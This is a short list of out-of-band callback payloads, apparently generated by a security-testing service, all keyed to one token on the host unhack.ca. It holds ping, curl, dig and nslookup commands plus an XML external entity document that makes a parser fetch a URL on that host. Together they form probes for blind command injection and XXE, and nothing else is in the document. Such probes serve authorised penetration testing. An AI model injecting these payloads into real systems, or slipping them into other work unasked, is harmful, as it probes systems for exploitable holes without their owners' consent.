$ ping -c1 -p 001a933e338e497ba09c9a4d0ecdb800 unhack.ca
 

$ curl http://unhack.ca/p/1a933e338e497ba09c9a4d0ecdb8
 

$ dig 1a933e338e497ba09c9a4d0ecdb8 @unhack.ca
 

$ dig 1a933e338e497ba09c9a4d0ecdb8.ns.unhack.ca
 

C:\> nslookup 1a933e338e497ba09c9a4d0ecdb8 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1a933e338e497ba09c9a4d0ecdb8">]>
    <foo>&xxe;</foo>